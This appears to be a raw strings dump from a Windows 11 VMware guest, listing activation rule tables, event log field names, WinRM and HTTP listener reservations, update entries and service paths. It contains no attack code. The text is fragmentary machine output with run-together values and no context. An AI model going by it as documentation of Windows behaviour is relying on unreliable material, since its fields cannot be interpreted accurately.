)(2 )(3 )] 34: 80083eae-7031-4394-9e88-4901973d56fe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 35: 82bbc092-bc50-4e16-8e18-b74fc486aec3, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 36: 8ab9bdd1-1f67-4997-82d9-8878520837d9, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 37: 8b351c9c-f398-4515-9900-09df49427262, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 38: 90da7373-1c51-430b-bf26-c97e9c5cdc31, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 39: 92fb8726-92a8-4ffc-94ce-f82e07444653, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 40: 95dca82f-385d-4d39-b85b-5c73fa285d6f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 41: 97cde3ae-e908-4b59-ac96-a17645c5b57e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 42: a48938aa-62fa-4966-9d44-9f04da3f72f2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 43: b0773a15-df3a-4312-9ad2-83d69648e356, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 44: b4bfe195-541e-4e64-ad23-6177f19e395e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 45: b68e61d2-68ca-4757-be45-0cc2f3e68eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 46: bd3762d7-270d-4760-8fb3-d829ca45278a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 47: c86d5194-4840-4dae-9c1c-0301003a5ab0, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 48: ca7df2e3-5ea0-47b8-9ac1-b1be4d8edd69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 49: d552befb-48cc-4327-8f39-47d2d94f987c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 50: d6eadb3b-5ca8-4a6b-986e-35b550756111, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 51: df96023b-dcd9-4be2-afa0-c6c871159ebe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 52: e0c42288-980c-4788-a014-c080d2e1926e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 53: e4db50ea-bda1-4566-b047-0ca50abc6f07, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 54: e558417a-5123-4f6f-91e7-385c1c7ca9d4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 55: e7a950a2-e548-4f10-bf16-02ec848e0643, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 56: eb6d346f-1c60-4643-b960-40ec31596c45, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 57: ec868e65-fadf-4759-b23e-93fe37f2cc29, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 58: ef51e000-2659-4f25-8345-3de70a9cf4c4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 59: f7af7d09-40e4-419c-a49b-eae366689ebd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 60: fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 61: fe74f55b-0338-41d6-b267-4a201abe7285, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 55c92734-d682-4d71-983e-d6ec3f16059f 1: 01eb852c-424d-4060-94b8-c10d799d7364, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 2: 040fa323-92b1-4baf-97a2-5b67feaefddb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 3: 0724cb7d-3437-4cb7-93cb-830375d0079d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 4: 0ad2ac98-7bb9-4201-8d92-312299201369, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 5: 19de9b2f-0166-4abb-9534-56ea69a80edb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 6: 1a9a717a-cf13-4ba5-83c3-0fe25fa868d5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 7: 221a02da-e2a1-4b75-864c-0a4410a33fdf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 8: 265f3fad-6a1c-4bdd-ae30-c75efa556ccb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 9: 291ece0e-9c38-40ca-a9e1-32cc7ec19507, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 10: 2936d1d2-913a-4542-b54e-ce5a602a2a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 11: 2c293c26-a45a-4a2a-a350-c69a67097529, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 12: 2de67392-b7a7-462a-b1ca-108dd189f588, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 13: 2ffd8952-423e-4903-b993-72a1aa44cf82, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 14: 30a42c86-b7a0-4a34-8c90-ff177cb2acb7, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 15: 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 16: 3502365a-f88a-4ba4-822a-5769d3073b65, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 17: 377333b1-8b5d-48d6-9679-1225c872d37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 18: 3df374ef-d444-4494-a5a1-4b0d9fd0e203, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 19: 3ebce241-ea87-4946-8a4f-80d00e921dff, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 20: 3f1afc82-f8ac-4f6c-8005-1d233e606eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 21: 4322a811-697c-44dc-865e-3e2fdcb86009, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 22: 49cd895b-53b2-4dc4-a5f7-b18aa019ad37, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 23: 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c, 1, 1 [(0 )(1 )(2 [0xC004E003, 0, 0], [( 1 0xC004F034)( 1 0xC004F034)(?)(?)(?)(?)(?)(?)])(3 [0x00000000, 0, 0], [( 6 0xC004F009 0 0)( 1 0x00000000)( 6 0xC004F009 0 0)(?)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)( 11 0x00000000 0xC004F034)])] 24: 4f3da0d2-271d-4508-ae81-626b60809a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 25: 5d78c4e9-aeb3-4b40-8ac2-6a6005e0ad6d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 26: 60b3ec1b-9545-4921-821f-311b129dd6f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 27: 613d217f-7f13-4268-9907-1662339531cd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 28: 62f0c100-9c53-4e02-b886-a3528ddfe7f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 29: 6365275e-368d-46ca-a0ef-fc0404119333, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 30: 721f9237-9341-4453-a661-09e8baa6cca5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 31: 73111121-5638-40f6-bc11-f1d7b0d64300, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 32: 7a802526-4c94-4bd1-ba14-835a1aca2120, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 33: 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 34: 80083eae-7031-4394-9e88-4901973d56fe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 35: 82bbc092-bc50-4e16-8e18-b74fc486aec3, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 36: 8ab9bdd1-1f67-4997-82d9-8878520837d9, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 37: 8b351c9c-f398-4515-9900-09df49427262, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 38: 90da7373-1c51-430b-bf26-c97e9c5cdc31, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 39: 92fb8726-92a8-4ffc-94ce-f82e07444653, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 40: 95dca82f-385d-4d39-b85b-5c73fa285d6f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 41: 97cde3ae-e908-4b59-ac96-a17645c5b57e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 42: a48938aa-62fa-4966-9d44-9f04da3f72f2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 43: b0773a15-df3a-4312-9ad2-83d69648e356, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 44: b4bfe195-541e-4e64-ad23-6177f19e395e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 45: b68e61d2-68ca-4757-be45-0cc2f3e68eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 46: bd3762d7-270d-4760-8fb3-d829ca45278a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 47: c86d5194-4840-4dae-9c1c-0301003a5ab0, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 48: ca7df2e3-5ea0-47b8-9ac1-b1be4d8edd69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 49: d552befb-48cc-4327-8f39-47d2d94f987c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 50: d6eadb3b-5ca8-4a6b-986e-35b550756111, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 51: df96023b-dcd9-4be2-afa0-c6c871159ebe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 52: e0c42288-980c-4788-a014-c080d2e1926e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 53: e4db50ea-bda1-4566-b047-0ca50abc6f07, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 54: e558417a-5123-4f6f-91e7-385c1c7ca9d4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 55: e7a950a2-e548-4f10-bf16-02ec848e0643, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 56: eb6d346f-1c60-4643-b960-40ec31596c45, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 57: ec868e65-fadf-4759-b23e-93fe37f2cc29, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 58: ef51e000-2659-4f25-8345-3de70a9cf4c4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 59: f7af7d09-40e4-419c-a49b-eae366689ebd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 60: fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 61: fe74f55b-0338-41d6-b267-4a201abe7285, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] hr=0x803F7001 RuleId=31e71c49-8da7-4a2f-ad92-45d98a1c79ba;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=NetworkAvailable 2026-02-25T08:06:02Z RulesEngine HVHOST~1.MUI hvhostsvc.dll.mui $DSC hvhostsvc.dll.mui HVHOST~1.MUI hvhostsvc.dll.mui WofCompressedData $DSC hvloader.dll.mui HVLOAD~1.MUI hvloader.dll.mui WofCompressedData $DSC HvService.sys.mui HVSERV~1.MUI HvService.sys.mui $DSC InventorySvc.dll.mui INVENT~1.MUI InventorySvc.dll.mui $DSC WofCompressedData $DSC iologmsg.dll.mui WofCompressedData $DSC iorate.sys.mui IORATE~1.MUI iorate.sys.mui $DSC iphlpsvc.dll.mui IPHLPS~1.MUI iphlpsvc.dll.mui WofCompressedData $DSC WofCompressedData $DSC Certificate.format.ps1xml Diagnostics.Format.ps1xml DotNetTypes.format.ps1xml en-US Event.Format.ps1xml Examples FileSystem.format.ps1xml getevent.types.ps1xml Help.format.ps1xml HelpV3.format.ps1xml Modules powershell.exe. powershell.exe.config PowerShellCore.format.ps1xml PowerShellTrace.format.ps1xml powershell_ise.exe. powershell_ise.exe.config PSEvents.dll\ pwrshmsg.dll\ Registry.format.ps1xml Schemas SessionConfig types.ps1xml typesv3.ps1xml WSMan.Format.ps1xml 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699884e9 Not Available Not Available 2048 Windows11 Microsoft-Windows-Kernel-Power System Microsoft-Windows-Kernel-Power System Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System 429-9F9E963361B7/ -Power System Microsoft-Windows-Kernel-Power System Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Kernel-General System EventData Data UpdateReason EnabledNew CountNew CountOld Microsoft-Windows-HAL System 5http://schemas.microsoft.com/win/2004/08/events/event vmci System Windows11 Binary VMCI: Using capabilities (0x1c). Microsoft-Windows-FilterManager System FinalStatus DeviceVersionMajor DeviceVersionMinor DeviceNameLength DeviceName DeviceTime FileInfo Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System WdFilter Microsoft-Windows-Ntfs System DriveName DeviceName CorruptionActionState \Device\HarddiskVolume3 Microsoft-Windows-FilterManager System FileCrypt Microsoft-Windows-FilterManager System npsvctrig Microsoft-Windows-Kernel-Power System State Reason Microsoft-Windows-Kernel-Processor-Power System Group Number IdleStateCount IdleImplementation NominalFrequency MaximumPerformancePercent MinimumPerformancePercent MinimumThrottlePercent PerformanceImplementation Microsoft-Windows-Kernel-Processor-Power System Microsoft-Windows-Ntfs System \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 Microsoft-Windows-Kernel-General System ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System Windows11 Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Wininit System HRESULT NewLatchTimerNeeded *NewLatchTimerWaitingSystemUpdateCompletion #PreviousLatchTimerExistsButDisabled PolicyFileExists Microsoft-Windows-Wininit System HRESULT PreviousTimerExists PreviousTimerStartTime GracePeriod %AttemptedRecoveryEnforcementSucceeded Microsoft-Windows-Wininit System HRESULT NewTimerNeeded NewTimerWaitingUpdateCompletion PreviousTimerExistsButDisabled Microsoft-Windows-Wininit System Config IsTestConfig IsAutoEnabled Microsoft-Windows-Wininit System Level LsaSrv System HardwareChecks ADDomainJoin AADDomainJoin IsLicensed DomainController Microsoft-Windows-Directory-Services-SAM System %SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD Default SD String: O:SYG:SYD:(A;;RC;;;BA) Microsoft-Windows-Directory-Services-SAM System #SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT MinimumPasswordLength RelaxMinimumPasswordLengthLimits MinimumPasswordLengthAudit Microsoft-Windows-Directory-Services-SAM System 'SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System luafv Microsoft-Windows-FilterManager System wcifs Microsoft-Windows-FilterManager System UnionFS Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System storqosflt Microsoft-Windows-FilterManager System UCPD Microsoft-Windows-FilterManager System bindflt Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Winlogon System TSId UserSid Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-FilterManager System applockerfltr Microsoft-Windows-HttpService System ReserveStatus ProcessId ExecutablePath UserSid http://*:5357/ Microsoft-Windows-HttpService System http://+:80/Temporary_Listen_Addresses/ Microsoft-Windows-HttpService System https://*:5358/ Microsoft-Windows-HttpService System http://*:2869/ Microsoft-Windows-HttpService System https://+:5986/wsman/ Microsoft-Windows-HttpService System http://+:47001/wsman/ Microsoft-Windows-HttpService System http://+:5985/wsman/ Microsoft-Windows-HttpService System https://+:3392/rdp/ Microsoft-Windows-HttpService uiomap Microsoft-Windows-DNS-Client System QueryName AddressLength Address ClientPID wpad Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Winlogon System Microsoft-Windows-Winlogon System Microsoft-Windows-GroupPolicy System SupportInfo1 SupportInfo2 ProcessingMode ProcessingTimeInMilliseconds DCName Microsoft-Windows-Kernel-General System NewBias OldBias Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System NewTime OldTime TimeDeltaInMs Reason ProcessName ProcessID CmosTime TimeZoneBias RealTimeIsUniversal SystemInCmosMode \Device\HarddiskVolume3\Windows\System32\dllhost.exe Microsoft-Windows-Kernel-General System HiveNameLength HiveName KeysUpdated DirtyPages f\??\C:\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-Kernel-General System g\??\C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-Kernel-General System q\??\C:\Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-Kernel-General System u\??\C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-Kernel-General System t\??\C:\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat param1 param2 param3 param4 Windows Modules Installerdemand startauto startTrustedInstaller Windows Modules Installerauto startdemand startTrustedInstaller Windows Modules Installerdemand startauto startTrustedInstaller Windows Modules Installerauto startdemand startTrustedInstaller Background Intelligent Transfer Servicedemand startauto startBITS 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System Windows11 -60 W. Europe Standard Time Windows 10 Pro 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699884e9 Not Available Not Available 2048 Windows11 Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System \Device\HarddiskVolume3\Windows\System32\svchost.exe Microsoft-Windows-Time-Service System TMP_EVENT_TIME_JUMP_AUDIT TimeOffsetSeconds Microsoft-Windows-Time-Service System TMP_EVENT_TIME_SOURCE_REACHABLE TimeSource time.windows.com,0x9 (ntp.m|0x9|0.0.0.0:123->20.101.57.9:123) Windows Modules Installerdemand startauto startTrustedInstaller Microsoft-Windows-Time-Service System TMP_EVENT_TIME_SOURCE_CHOSEN TimeSource TimeSourceRefId CurrentStratumNumber time.windows.com,0x9 (ntp.m|0x9|0.0.0.0:123->20.101.57.9:123) Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber 2026-02 Security Update (KB5077181) (26200.7840) Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe\ActivationStore.dat Program Compatibility Assistant Servicedemand startauto startPcaSvc Microsoft-Windows-WindowsUpdateClient System Windows Malicious Software Removal Tool x64 - v5.139 (KB890830) Microsoft-Windows-WindowsUpdateClient System Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.445.172.0) - Current Channel (Broad) Microsoft-Windows-WindowsUpdateClient System Update for Windows Security platform - KB5007651 (Version 10.0.29510.1001) Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint ServiceName ImagePath ServiceType StartType AccountName VMware Alias Manager and Ticket Service"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"user mode serviceauto startLocalSystem vSockets Virtual Machine Communication Interface Sockets driver\SystemRoot\system32\DRIVERS\vsock.syskernel mode driversystem start Windows Socket 2.0 Non-IFS Service Provider Support Environmentdisabledsystem startws2ifsl Microsoft-Windows-WindowsUpdateClient System 9NKRJ3SJ9SDG-Microsoft.WindowsAppRuntime.1.8 VMware USB Pointing Device\SystemRoot\System32\drivers\vmusbmouse.syskernel mode driverdemand start Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-WindowsUpdateClient System 9P2VP41KK7LF-Microsoft.WindowsAppRuntime.1.6 Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience VMware Pointing Device\SystemRoot\System32\drivers\vmmouse.syskernel mode driverdemand start Memory Control Driver\SystemRoot\system32\DRIVERS\vmmemctl.syskernel mode driverauto start VMware Host Guest Client Redirectorsystem32\DRIVERS\vmhgfs.syskernel mode driverdemand start VMware Physical Disk Helper\SystemRoot\system32\DRIVERS\vmrawdsk.syskernel mode driversystem start Microsoft-Windows-WindowsUpdateClient System 9MSMLRH6LZF3-Microsoft.WindowsNotepad Microsoft-Windows-WindowsUpdateClient System 9N7V66BG7XT8-Microsoft.WindowsAppRuntime.1.7 vm3dmp\SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp.syskernel mode driverdemand start vm3dmp-debug\SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp-debug.syskernel mode driverdemand start vm3dmp-stats\SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp-stats.syskernel mode driverdemand start vm3dmp_loader\SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp_loader.syskernel mode driverdemand start VMware SVGA Helper Service"C:\Program Files\VMware\VMware Tools\vm3dservice.exe"user mode serviceauto startLocalSystem VMware Tools"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"user mode serviceauto startLocalSystem Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe 5http://schemas.microsoft.com/win/2004/08/events/event Display System Windows11 VMware Snapshot ProviderC:\WINDOWS\system32\dllhost.exe /Processid:{FBED31FA-7DD9-45EC-BC72-5DE85FA65E12}user mode servicedemand startNT AUTHORITY\LocalService Microsoft-Windows-TPM-WMI System DeviceAttributes BucketId BucketConfidenceLevel UpdateType BaseBoardManufacturer:Intel Corporation;FirmwareManufacturer:VMware, Inc.;FirmwareVersion:VMW201.00V.24866131.B64.2507211911;OEMModelNumber:VMware20,1;OEMModelBaseBoard:440BX Desktop Reference 